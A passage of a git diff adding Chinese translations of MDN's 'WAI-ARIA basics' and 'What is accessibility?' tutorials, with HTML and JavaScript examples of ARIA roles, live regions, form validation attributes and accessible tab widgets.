来实现屏幕阅读器所需的语义化内容即可。有些时候这是不可能的,一来是你对于代码的整体的控制是有限的,另一方面是总会有复杂到原生HTML 无法支持的功能需要你实现。在这个场景下,WAI-ARIA 将会变成有价值的可访问优化功能。</p> + +<p><strong>但还是要重申:当你需要的时候再使用无障碍特性!</strong></p> + +<div class="note"> +<p><strong>注释</strong>:另外, 请尝试确保你的真实用户来测试你的网站:普通人,使用屏幕阅读器的用户,使用键盘导航的人。他们会提供你更多的见解。</p> +</div> + +<h2 id="实用的_WAI-ARIA_实现">实用的 WAI-ARIA 实现</h2> + +<p>在下一节中,我们将更详细地研究这四个方,并提供一些实例。继续之前你最好安装一个屏幕阅读器,以便你测试接下来的用例。(接下来的屏幕阅读器默认为 Mac 的VoiceOver,Windows 用户可以尝试JAWS 或者 Window Eyes )</p> + +<p>查看我们的 <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">testing screenreaders</a> 得到更多关于屏幕阅读器的信息。</p> + +<h3 id="路牌地标_(SignpostsLandmarks)">路牌/地标 (<strong>Signposts/Landmarks</strong>)</h3> + +<p>WAI-ARIA 给浏览器增加了 <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions"><code>role</code> </a>属性,这允许我们给站点中的元素增加我们想要的语义属性。第一个主要区域便是用于为屏幕阅读器提供信息,以便用户可以找到常见的页面元素。我们来举个例子,一个<a href="https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-no-roles">没有角色的站点</a>的例子(<a href="http://mdn.github.io/learning-area/accessibility/aria/website-no-roles/">在线demo</a>)的页面结构:</p> + +<pre class="brush: html"><header> + <h1>...</h1> + <nav> + <ul>...</ul> + <form> + <!-- search form --> + </form> + </nav> +</header> + +<main> + <article>...</article> + <aside>...</aside> +</main> + +<footer>...</footer></pre> + +<p>如果你用现代浏览器打开,并用屏幕阅读器测试,你就已经得到你要的信息了。例如VoiceOver 会给你以下信息(会以英文念出):</p> + +<ul> + <li>在 <code><header></code> 元素 — "banner, 2 items" (它包含标题和 <code><nav></code>).</li> + <li>在 <code><nav></code> 元素 — "navigation 2 items" (它包含一个列表和一个表单).</li> + <li>在 <code><main></code> 元素 — "main 2 items" (它包含文章和侧边栏).</li> + <li>在 <code><aside></code> 元素 — "complementary 2 items" (它包含列表和标题.</li> + <li>在搜索表单输入 — "Search query, insertion at beginning of text".</li> + <li>在 <code><footer></code> 元素 — "footer 1 item".</li> +</ul> + +<p>如果你转到VoiceOver的地标菜单(使用VoiceOver 绑定键(你可以在VoiceOver Utility 中设置) + U 访问,然后使用光标或者键盘来选择菜单选项),你将看到大部分元素都已很好地列出,因此可以快速访问它们。</p> + +<p><br> + <img alt="" src="https://mdn.mozillademos.org/files/14420/landmarks-list.png" style="display: block; margin: 0 auto;"></p> + +<p>尽管如此,我们可以做的更好。这个搜索表单是一个人们愿意找到的重要的地标,我们可以设置input 的类别为search (<code><input type="search"></code>)。 另外,在一些老的浏览器(尤其是IE8) 是无法识别的这些HTML5 的元素语义化的。</p> + +<p>让我们来优化上文代码并且用上无障碍特性。首先我们给HTML 的结构加上角色。你可以复制上文demo 的index.html 和style.css 继续修改,或者看我们的网站无障碍角色版本例子(<a href="http://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/">在线demo</a>),结构如下:</p> + +<pre class="brush: html"><header> + <h1>...</h1> + <nav role="navigation"> + <ul>...</ul> + <form role="search"> + <!-- search form --> + </form> + </nav> +</header> + +<main> + <article role="article">...</article> + <aside role="complementary">...</aside> +</main> + +<footer>...</footer></pre> + +<p>我们用了一个额外的功能:input元素用了属性 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-label">aria-label</a></code>, 它给它一个描述性标签,可以由屏幕阅读器读出,尽管我们没有label 元素。在这些情况下,这非常有用——像这样的搜索表单是一个非常常见的,易于识别的功能,添加label 会破坏页面设计。</p> + +<pre class="brush: html"><input type="search" name="q" placeholder="Search query" aria-label="Search through site content"></pre> + +<p>现在我们再用VoiceOver,会得到以下改进:</p> + +<ul> + <li>搜索表单在浏览页面时和地标菜单中都作为单独的项目存在。</li> + <li>因为有 <code>aria-label</code> ,那么读取到这个input 他的内容会被高亮念出。</li> +</ul> + +<p>除此之外,为了让 IE8 等旧版浏览器的用户更容易访问该网站,ARIA 角色的使用就很值得了。 如果由于某种原因,你的网站仅使用<div> 构建,那么你肯定很需要用 ARIA 角色以提供所需的语义!</p> + +<p>搜索表单的改进语义表明当超出HTML5中可用的语义时 ARIA 可以实现的功能。你接下来可以看到这些语义和ARIA 属性的强大功能,尤其是 {{anch("非语义控件的可访问性")}}那一段。接下来我们将明白ARIA 如何在进行动态内容更新时给我们帮助。</p> + +<h3 id="动态内容更新">动态内容更新</h3> + +<p>使用屏幕阅读器可以轻松访问读取到DOM 中的内容,从文本内容到附加到图像的alt 文本。 所以具有大量文本内容的传统静态网站易于为视碍人士提供信息。</p> + +<p>问题在于现代Web 应用程序通常不仅仅是静态文本——它们往往有很多动态更新内容,即通过 <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>,<a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> 或<a href="/en-US/docs/Web/API/Document_Object_Model">DOM API</a> 等机制重新加载整个页面的内容。 这些有时被称为<strong>实时区域</strong>。</p> + +<p>我们来看一个小例子—— <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-no-live.html">aria-no-live.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/aria/aria-no-live.html">在线demo</a>)。在这个例子我们哟一个小的随机引用块:</p> + +<pre class="brush: html"><section> + <h1>Random quote</h1> + <blockquote> + <p></p> + </blockquote> +</section></pre> + +<p>我们的JavaScript 从 <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> 加载一个JSON 文件里头包含了一系列的名人名言,一旦完成我们就开始用一个 <code><a href="/en-US/docs/Web/API/WindowTimers/setInterval">setInterval()</a></code> 循环以十秒一次的频率显示出来。</p> + +<pre class="brush: js">var intervalID = window.setInterval(showQuote, 10000);</pre> + +<p>这当然是可行的,但是对于无障碍可不友善——这种内容变化是不会被屏幕阅读器察觉到的,所以用户不会发现发生了什么。这是一个简单的例子,但你可以想象一下:如果你开发的一个复杂UI 而且内容频繁变化的应用,例如聊天室,或者一个策略游戏的界面,或者一个实时更新的购物车展示。如果没有某种方式提示用户有内容更新,那就不可能以任何有效的方式来使用应用。</p> + +<p>幸运的是,WAI-ARIA 提供了一种有效的机制来发起提示 —— <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-live">aria-live</a></code>。 将此应用于元素会让屏幕阅读器读出更新的内容。 读取内容的紧急程度取决于属性值:</p> + +<ul> + <li><code>off:</code> 默认值,更新不会提醒。</li> + <li><code>polite</code>: 只有用户空闲的情况下提醒。</li> + <li><code>assertive</code>: 尽快提醒。</li> + <li><code>rude</code>: 会以打断用户操作的方式直接提醒。</li> +</ul> + +<p>通常来说 <code>assertive</code> 设置足以让你的更新在显示时按时序读出,因此,如果改变多次,那么他只会念出最后一个改变。除非紧急程度高到需要覆盖其他的更新才选择使用 <code>rude</code> 。</p> + +<p>我们可以复制 <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-no-live.html">aria-no-live.html</a> 和 <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/quotes.json">quotes.json</a> ,然后像下面一样更新你的 <code><section></code> tag :</p> + +<pre class="brush: html"><section aria-live="assertive"></pre> + +<p>这会让你的屏幕阅读器在更新时可以读取内容。</p> + +<div class="note"> +<p><strong>笔记</strong>: 当你用<code>file://</code>协议头来发 <code>XMLHttpRequest</code> 大部分浏览器会抛出 security exception 。所以你可能要设置一个web 服务器来作为请求源,例如 用Github: <a href="/en-US/docs/Learn/Common_questions/Using_Github_pages">using GitHub</a>,或者设置一个本地服务器 <a href="http://www.pythonforbeginners.com/modules-in-python/how-to-use-simplehttpserver/">Python's SimpleHTTPServer</a>。</p> +</div> + +<p>这里有一个附加的考虑—— 只读取更新的文本位。如果我们总是读出标题可能会很好,这样用户就可以记住正在读出的内容。为了能做到这个,我们增加了 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-atomic">aria-atomic</a></code> 给section 。再次更新 <code><section></code> ,像这样:</p> + +<pre class="brush: html"><section aria-live="assertive" aria-atomic="true"></pre> + +<p>这个 <code>aria-atomic="true"</code> 属性告诉屏幕阅读器去读取整个元素的内容作为一个原子单位, 而不是里头某个字符串更新了。</p> + +<div class="note"> +<p><strong>笔记</strong>: 你可在此完成此例子 <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-live.html">aria-live.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/aria/aria-live.html">在线demo</a>).</p> +</div> + +<div class="note"> +<p><strong>笔记</strong>: <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-relevant">aria-relevant</a></code> 属性对于控制更新实时区域时读取的内容也非常有用。例如,你读取内容添加或删除。</p> +</div> + +<h3 id="优化键盘的无障碍操作"><strong>优化键盘的无障碍操作</strong></h3> + +<p>正如上下文中其他几处讨论的,HTML 在可访问性方面的关键优势之一是按钮,表单控件和链接等功能的内置键盘可访问性。 平时你可以使用Tab 键在控件之间移动,使用Enter / Return 键选择或激活控件,偶尔也可以根据需要使用其他控件(例如上下光标在<code><select></code> 框中的选项之间移动)。</p> + +<p>但是在一些时候,你最终还是得编写代码去使用非语义元素作为按钮(或其他类型的控件),或者使用可聚焦控件来达到错误的目的。 您可能正在尝试修复一些您之前的错误代码,或者您可能正在构建某种需要它的复杂小部件。</p> + +<p>在让不可聚焦代码可聚焦这一方面,WAI-ARIA 用一些新的值来扩展了<code>tabindex</code> 的属性:</p> + +<ul> + <li><code>tabindex="0"</code> — 如上所述, 这个值让不能被tab 的元素变得 tabbable。这是 <code>tabindex</code> 最有用的值。</li> + <li><code>tabindex="-1"</code> — 这允许通常不可列表的元素以编程方式来接收focus。例如用: JavaScript,或者作为链接的目标。</li> +</ul> + +<p>我们更详细地讨论了这一点,并在HTML辅助功能文章中显示了一个典型的实现<br> + ——请看 <a href="/en-US/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Building keyboard accessibility back in</a>.</p> + +<h3 id="非语义控件的可访问性">非语义控件的可访问性</h3> + +<p>当一系列嵌套的 <code><div></code>s 与CSS / JavaScript一起用于创建复杂的UI功能,或者通过JavaScript大大地增强或者更改原生的控件,不仅键盘可访问性受损。而且如果没有语义或其他线索,屏幕阅读器用户会发现很难弄清楚该功能的作用。在这种情况下,ARIA可以帮助提供那些缺失的语义。</p> + + + +<h4 id="表单验证和错误显示">表单验证和错误显示</h4> + + + +<p>首先, 让我们在此访问之前的文章(重读 <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Keeping_it_unobtrusive">Keeping it unobtrusive</a>)。 在本节的最后,我们展示了当您尝试提交表单时,如果存在验证错误,我们在错误消息框中包含了一些ARIA属性:</p> + +<pre class="brush: html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>errors<span class="punctuation token">"</span></span> <span class="attr-name token">role</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>alert<span class="punctuation token">"</span></span> <span class="attr-name token">aria-relevant</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>all<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>ul</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>ul</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span></code></pre> + +<ul> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#alert">role="alert"</a></code> 自动将其转变为实时区域,所以它一变化就会念出来。也语义化地说明了这是一个alert 信息(重要的 时间/上下文 敏感信息),而且展现了一种更好,更加易于读取的警告用户的方式(模态警告例如 <code><a href="/en-US/docs/Web/API/Window/alert">alert()</a></code> 的调用会导致一系列的可访问性问题,详情请看<a href="http://webaim.org/techniques/javascript/other#popups">Popup Windows</a> )。</li> + <li>一个 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-relevant">aria-relevant</a></code> 的值为 <code>all</code> 会指示屏幕阅读器在对其进行任何更改时读出错误列表的内容 — 即为错误的增加或者消失。这是很有用的,因为用户需要知道具体哪个错误的出现或者消失,不仅仅是表单错误列表出现了增加或者删除。</li> +</ul> + +<p>我们可以在 ARIA 的应用上更进一步,并提供更多验证上的帮助。例如支出某个字段是否必填,或者是要填的年龄的区间该是多少?</p> + + + +<ol> + <li>首先,复制刚刚的 <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html">form-validation.html</a> 还有 <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/validation.js">validation.js</a> 文件,然后保存到本地。</li> + <li>把两个文件都用文本编辑器打开并且看看运作原理。</li> + <li>首先,在<code><form> </code>标签的正上方添加一个段落,如下,并用星号标记表单<label>。 这通常是我们为有视力的用户标记必填字段的一个常用手法。 + <pre class="brush: html"><p>Fields marked with an asterisk (*) are required.</p></pre> + </li> + <li>这对于具备视力的人显而易见,但是对于屏幕阅读器用户而言就不友好了。所幸 WAI-ARIA 提供了 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-required">aria-required</a></code> 属性来让屏幕阅读器获取提示来告诉用户这个input 必须填写,更新你的 <code><input></code> 元素如下: + <pre class="brush: html"><input type="text" name="name" id="name" aria-required="true"> + +<input type="number" name="age" id="age" aria-required="true"></pre> + </li> + <li>你过你保存了并且现在用屏幕阅读器测试,你会听到如下内容:「Enter your name star, required, edit text」</li> + <li>回到第二个关于数值范围的讨论,通常我们会用一个tooltips 来展示,或者用placeholder 显示提示信息。 WAI-ARIA 有一个 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-valuemin">aria-valuemin</a></code> 和 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-valuemax">aria-valuemax</a></code> 属性来执行最大最小值,但现阶段看来支持程度并不好。另一个好办法就是用 <code>placeholder</code> 属性,当用户输入的时候,就会念出placeholder 的内容最为信息提示。更新你的数值输入 input 如下: + <pre class="brush: html"><input type="number" name="age" id="age" placeholder="Enter 1 to 150" aria-required="true"></pre> + </li> +</ol> + +<div class="note"> +<p><strong>笔记</strong>: 你可以在这里看这个在线完成的例子 <a href="http://mdn.github.io/learning-area/accessibility/aria/form-validation-updated.html">form-validation-updated.html</a>.</p> +</div> + +<p>除了经典的 {{htmlelement("label")}} 元素之外,WAI-ARIA 还支持一些高级表单标注技术。 我们已经讨论过使用 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-label">aria-label</a></code> 属性来提供标签,我们不希望标签对于有视力的用户是可见的(参见上面的 {{anch("路牌/地标 (Signposts/Landmarks)")}} 部分)。 还有一些其他标签技术使用其他属性,例如 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-labelledby">aria-labelledby</a></code> ,如果你想将非<label>元素指定为标签或标签多个表单输入具有相同的标签,并且 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a></code>,如果你想关联 带有表单输入的其他信息,并将其读出。 请查阅文章获得更多细节: <a href="http://webaim.org/techniques/forms/advanced">WebAIM's Advanced Form Labeling article</a></p> + +<p>还有许多其他有用的属性和状态,用于指示表单元素的状态。 例如:<span class="subtitle"><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-disabled">aria-disabled</a>="true" </code></span>可用于表示该表单字段已禁用。 许多浏览器只会跳过禁用的表单字段,它们甚至不会被屏幕阅读器读出,但在某些情况下它们会被识别出来,所以最好包含这个属性让屏幕阅读器知道禁用的输入事实上已经被禁用。</p> + +<p>如果输入的禁用状态可能会改变,那么指示它何时发生以及结果是什么也是一个好主意。 例如,在我们的<span class="subtitle"><a href="http://mdn.github.io/learning-area/accessibility/aria/form-validation-checkbox-disabled.html">form-validation-checkbox-disabled.html</a> </span>这一demo 中 ,有一个复选框,选中后,启用另一个表单输入以允许输入更多信息。 我们已经建立了一个隐藏的实时区域:</p> + +<pre class="brush: html"><p class="hidden-alert" aria-live="assertive"></p></pre> + +<p>这是使用绝对定位隐藏的视图。 当选中/取消选中此项时,我们会更新隐藏的实时区域内的文本,以告诉屏幕阅读器用户检查此复选框的结果是什么,以及更新<code>aria-disabled</code>状态和一些可视指示器:</p> + +<pre class="brush: js">function toggleMusician(bool) { + var instruItem = formItems[formItems.length-1]; + if(bool) { + instruItem.input.disabled = false; + instruItem.label.style.color = '#000'; + instruItem.input.setAttribute('aria-disabled', 'false'); + hiddenAlert.textContent = 'Instruments played field now enabled; use it to tell us what you play.'; + } else { + instruItem.input.disabled = true; + instruItem.label.style.color = '#999'; + instruItem.input.setAttribute('aria-disabled', 'true'); + instruItem.input.removeAttribute('aria-label'); + hiddenAlert.textContent = 'Instruments played field now disabled.'; + } +}</pre> + +<h4 id="描述非语义的button_是个button">描述非语义的button 是个button</h4> + +<p>在本课程中已经有几次,我们已经提到了原生的无障碍(以及使用其他元素伪造导致的无障碍问题)按钮,链接或表单元素(请参阅HTML辅助功能文章中的<a href="/en-US/docs/Learn/Accessibility/HTML#UI_controls">UI 控件</a> ,以及{{anch("优化键盘的无障碍操作")}},上面)。 基本上,利用 tabindex 和一些JavaScript的话,大部分情况下添加键盘辅助功能不会有多少麻烦。</p> + + + +<p>但是屏幕阅读器呢?他们还是看着这个元素并不是一个button,如果你用屏幕阅读器测试我们的 <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> 例子,你会听到一段短语描述这个按钮,内容大概是 "Click me!, group",显然这会让人疑惑。</p> + +<p>依旧,WAI-ARIA 的角色可以解决一切,复制文件 <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a>,然后加上 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#button">role="button"</a></code> 到每一个button <code><div></code>,如下所示</p> + +<pre><div data-message="This is from the first button" tabindex="0" role="button">Click me!</div></pre> + +<p>这时候再用屏幕阅读器,这次你会听到短语 "Click me!, button" ——舒服了。</p> + +<div class="note"> +<p><strong>笔记</strong>:别忘了无论如何用正确的语义化元素是最佳选择。如果你想创建一个按钮,你可用 {{htmlelement("button")}} 元素,你应该用 {{htmlelement("button")}} 元素!</p> +</div> + +<h4 id="通过复杂的小部件做引导用户">通过复杂的小部件做引导用户</h4> + +<p>还有许多其他 <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">roles</a> 可以将非语义元素结构识别为常见的UI功能,这些功能超出了标准HTML中可用的功能,例如 <code><a href="https://www.w3.org/TR/wai-aria-1.1/#combobox">combobox</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#slider">slider</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tabpanel">tabpanel</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tree">tree</a></code>.。 你可以在 <a href="https://dequeuniversity.com/library/">Deque university code library</a> 中看到许多有用的示例,以便了解如何使这些控件做到无障碍的。</p> + +<p>让我们来看看我们自己的一个例子。 我们将返回到我们简单的绝对定位选项卡界面(请参阅我们的CSS和JavaScript 无障碍的文章的 <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Hiding_things">Hiding things</a> 段落),你可以在 <a class="external external-icon" href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">Tabbed info box example</a>中找到它(<a class="external external-icon" href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">源码地址</a>)。</p> + +<p>这个例子在键盘可访问性方面运行良好 —— 你可以愉快地在不同选项卡之间进行tab 并选择它们然后显示选项卡内容。 它也是相当容易访问的 —— 你可以滚动浏览内容并使用标题进行导航,即使你无法看到屏幕上发生的事情。 然而,内容并不明显 —— 屏幕阅读器目前将内容报告为链接列表,以及一些内容包含三个标题。 它不会让你知道内容之间的关系。 为用户提供有关内容结构的更多线索总是好的。</p> + +<p>为了优化它,我们创建了一个新的例子,名为: <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-tabbed-info-box.html">aria-tabbed-info-box.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/aria/aria-tabbed-info-box.html">看在线demo</a>). 我们更新了选项卡式界面的结构,如下所示:</p> + +<pre class="brush: html"><ul role="tablist"> + <li class="active" role="tab" aria-selected="true" aria-setsize="3" aria-posinset="1" tabindex="0">Tab 1</li> + <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="2" tabindex="0">Tab 2</li> + <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="3" tabindex="0">Tab 3</li> +</ul> +<div class="panels"> + <article class="active-panel" role="tabpanel" aria-hidden="false"> + ... + </article> + <article role="tabpanel" aria-hidden="true"> + ... + </article> + <article role="tabpanel" aria-hidden="true"> + ... + </article> +</div></pre> + +<div class="note"> +<p><strong>笔记</strong>:这里最明显的变化是我们删除了最初在示例中出现的链接,并且只使用了列表项作为选项卡 - 这样做是因为它使屏幕阅读器用户不那么容易混淆(链接并不会跳转,它们只更改视图),它允许 大小修改/位置变化 一类的feature 更好地工作 —— 当这些被放在链接上时,浏览器始终报告"1 of 1",而不是"1 of 3 ","2 of 3"等</p> +</div> + +<p>以下刚刚用上的新特性:</p> + +<ul> + <li>新角色 — <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tablist">tablist</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tab">tab</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tabpanel">tabpanel</a></code> — 这些确定几个tab 表界面的重要区域——tabs 的容器,tabs 自身,还有他们的一致性tabpanels。</li> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-selected">aria-selected</a></code> — 定义了tab 当前正在被选中。和tabs 被用户选中不同,这种值一般是由JavaScript 修改。</li> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-hidden">aria-hidden</a></code> — 对屏幕阅读器隐藏一些元素,和tabs 被用户选中不同,这种值一般是由JavaScript 修改。</li> + <li><code>tabindex="0"</code> — 当我们删除链接时,我们需要为列表项提供此属性,以便为其提供键盘焦点。(为没有tabindex 特性的元素也提供tabindex 特性)</li> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-setsize">aria-setsize</a></code> — 此属性允许您指定屏幕阅读器元素是某个系列的一部分,以及该系列具有多少项。</li> + <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-posinset">aria-posinset</a></code> — 这个属性允许你设置一个元素在一个系列中的位置,随着 <code>aria-setsize</code>,他告诉屏幕阅读器(用于设置文件目录树视图)足够的信息去告诉你现在在item "1 of 3" 位置等。大部分情况下,浏览器是可以从DOM 层次结构中推断出这些信息,但它肯定有助于提供更多线索。</li> +</ul> + +<p>在我们的测试中,这个新结构确实有助于改善整体情况。 这些选项卡现在被识别为选项卡(例如,屏幕阅读器说出 「选项卡」),所选选项卡由“选择”表示,并使用选项卡名称读出,屏幕阅读器还会告诉你当前所在的选项卡编号。 此外,由于<code>aria-hidden</code> 设置(只有非隐藏的选项卡有 <code>aria-hidden="false"</code> 设置),非隐藏内容是唯一可以向下导航的内容,这意味着所选内容更容易找到。</p> + +<div class="note"> +<p><strong>笔记</strong>:如果你有不想让屏幕阅读器读出来的东西,你可以给它一个 <code>aria-hidden="true"</code> 属性。</p> +</div> + +<h2 id="总结">总结</h2> + +<p>本文并不是 WAI-ARIA 中的所有内容,但它应该为你提供足以了解使用它的信息,并提供了最常见的几种模式。</p> + +<h2 id="其他链接">其他链接</h2> + +<ul> + <li><a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">Definition of Roles</a> — ARIA roles reference.</li> + <li><a href="https://www.w3.org/TR/wai-aria-1.1/#state_prop_def">Definitions of States and Properties (all aria-* attributes)</a> — properties and states reference.</li> + <li><a href="https://dequeuniversity.com/library/">Deque university code library</a> — a library of really useful practical examples showing complex UI controls made accessible using WAI-ARIA features.</li> + <li><a href="http://w3c.github.io/aria-practices/">WAI-ARIA Authoring Practices</a> — very detailed design patterns from the W3C, explaining how to implement different types of complex UI control whilst making them accessible using WAI-ARIA features.</li> + <li><a href="https://www.w3.org/TR/html-aria/">ARIA in HTML</a> — A W3C spec that defines, for each HTML feature, what accessibility (ARIA) semantics that feature implicitly has set on it by the browser, and what WAI-ARIA features you may set on it if extra semantics are required.</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}}</p> + + + +<h2 id="在这个模块:">在这个模块:</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li> + <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li> +</ul> diff --git a/files/zh-cn/learn/accessibility/what_is_accessibility/index.html b/files/zh-cn/learn/accessibility/what_is_accessibility/index.html new file mode 100644 index 0000000000..8d63d61112 --- /dev/null +++ b/files/zh-cn/learn/accessibility/what_is_accessibility/index.html @@ -0,0 +1,236 @@ +--- +title: What is accessibility? +slug: Learn/Accessibility/What_is_accessibility +tags: + - AT + - CSS + - CodingScripting + - HTML + - JavaScript + - keyboard + - 初学者 + - 可访问性 + - 可访问性技术 + - 屏幕阅读器 + - 工具 + - 文章 + - 用户 +translation_of: Learn/Accessibility/What_is_accessibility +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</div> + +<p class="summary">本文作为本模块的开篇阐述了究竟什么是“可访问性” — 主要包括哪些用户群体是我们所需要和为什么需要考虑的,不同用户使用哪些工具与网页交互,以及我们在网站开发流程中如何构建可访问性。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本的计算机知识,对HTML和CSS的基本理解。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>熟悉可访问性,包括它是什么,以及它对web开发人员的影响。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是可访问性">什么是可访问性?</h2> + +<p>可访问性是一种让尽可能多的用户可以使用你的网站的做法。传统上我们认为这只与残疾人士有关,但提升网站的可访问性也可以让其他用户群体受益。比如使用移动设备的人群,那些使用低速网络连接的人群。</p> + +<p>你也可以把可访问性看成是同等地对待每一个人,给他们平等的机会,无论他们的能力或所处的环境如何。就像不能让坐轮椅的人可以进入大楼是错误的(现代公共建筑通常有轮椅坡道或电梯);不能让视觉有障碍的人士可以浏览我们的网站同样不正确。我们都是不同的,但我们都是人,因此享有同等的人权。</p> + +<p>使网站具备可访问性才是正确的做法。它也是一些国家法律的一部分,它打开了一些重要的市场,否则那些市场的用户无法使用你的服务或者购买你的产品。</p> + +<p>建立可访问的网站能让每个人都受益:</p> + +<ul> + <li> + <p>使用原语HTML(译注:仅使用非样式标记而样式用CSS定义的HTML称为原语HTML。那些描述内容呈现效果的标记如<b>标记是样式标记,这些样式标记在HTML5中已经废弃),不仅提升了可访问性,也增强了搜索引擎优化,使你的网站更容易被找到。</p> + </li> + <li> + <p>关心可访问性表露出良好的道德品质,它提升了你的公众形象。</p> + </li> + <li> + <p>其他一些改善可访问性的做法也会让你的网站更容易被其他群体使用,比如手机用户,低速网络环境的用户等等。事实上,每个人都可以从这此改善中受益。</p> + </li> + <li> + <p>我们是否也曾提到过到这也是某些地方的法律规定?</p> + </li> +</ul> + +<h2 id="我们应关注的残疾都有哪些种类">我们应关注的残疾都有哪些种类?</h2> + +<p>残疾人士和正常人一样是多样化的,他们身患的残疾也多种多样。此处课题的关键是抛开思考你自己的电脑和你自己使用网页的方式,而是要开始了解别人如何使用网页——你不是你的用户。接下来会讲解需要考虑的主要残疾类型,以及他们访问网页内容时用到的一些特殊工具(被称为辅助技术或ATs)。</p> + +<div class="note"> +<p><strong>注意</strong>:世界卫生组织的“残疾和健康”状况说明书指出:“超过10亿人,约占世界总人口的15%,患有某种形式的残疾”,而且“有1.1亿至1.9亿之间的成年人在身体功能上存在重大困难。”</p> +</div> + +<h3 id="有视觉障碍的人">有视觉障碍的人</h3> + +<p>有视觉障碍的人包括盲人、视力水平低下者、色盲。许多视觉障碍人士使用屏幕放大镜,要么是物理放大镜或是软件缩放功能。现今大多数浏览器和操作系统都具备缩放功能。某些用户使用屏幕阅读器,这是一种可以大声朗读数字文本的软件。一些屏幕阅读器的示例如下:</p> + +<ul> + <li>有些是付费产品, 比如 <a class="external external-icon" href="http://www.freedomscientific.com/Products/Blindness/JAWS">JAWS</a> (Windows) 和 <a class="external external-icon" href="http://www.gwmicro.com/window-eyes/">Window Eyes</a> (Windows).</li> + <li>有些是免费产品, 比如 <a class="external external-icon" href="http://www.nvaccess.org/">NVDA</a> (Windows), <a class="external external-icon" href="http://www.chromevox.com/">ChromeVox</a> (Chrome, Windows 和 Mac OS X), 和 <a class="external external-icon" 